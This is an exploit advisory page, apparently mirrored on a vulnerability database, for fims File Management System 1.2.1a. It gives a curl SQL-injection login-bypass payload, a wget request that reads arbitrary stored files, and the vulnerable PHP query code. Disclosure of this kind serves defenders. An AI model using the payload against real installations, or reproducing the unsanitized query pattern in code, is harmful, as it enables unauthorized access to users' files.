Lucene search
K

fims File Management System <= 1.2.1a Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

fims File Management System <= 1.2.1a has SQL injection, allowing unauthorized access to files.

Code

                                                # Exploit Title: fims - File Management System &#60;= 1.2.1a SQL Injection and  Vulnerability
# Date: 2011-10-19
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://fims.codeplex.com/
# Version: 1.2.1a (tested)


---------------
PoC (POST or GET data)
---------------
curl --data &#34;[email protected]&password=word&#39;) or id=ABS(&#39;1&#34; http://127.0.0.1/fims/?p=1
 
wget &#34;http://127.0.0.1/fims/index.php?f={anyfile number}&#34;

---------------
Vulnerable code
---------------
Line 18 of index.php:
  if (login($g_db, $_REQUEST[email], $_REQUEST[password]))
Line 117 of functions.php:
        function login($db, $email, $password)
        {
                $rs = $db-&#62;execute(&#34;select * from fims_user where email=&#39;$email&#39; and password=md5(&#39;$password&#39;)&#34;);
                if ($db-&#62;numrows($rs)&#62;0) return true;
                else return false;
        }

Line 51 of index.php:
                if (isset($_REQUEST[f]))
                {
                        assert(is_numeric($_REQUEST[f]));
                        $file = get_file_data($g_db, $_REQUEST[f]);
                        header(&#34;Accept-Ranges: bytes&#34;);
                        header(&#34;Content-Length: &#34;.filesize(&#34;files/&#34;.$file[id]));
                        header(&#34;Content-Type: {$file[mime]}&#34;);
                        header(&#34;Content-Disposition: inline; filename=\&#34;{$file[&#39;label&#39;]}\&#34;;&#34;);
                        readfile(&#34;files/&#34;.$file[id]);
                }


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation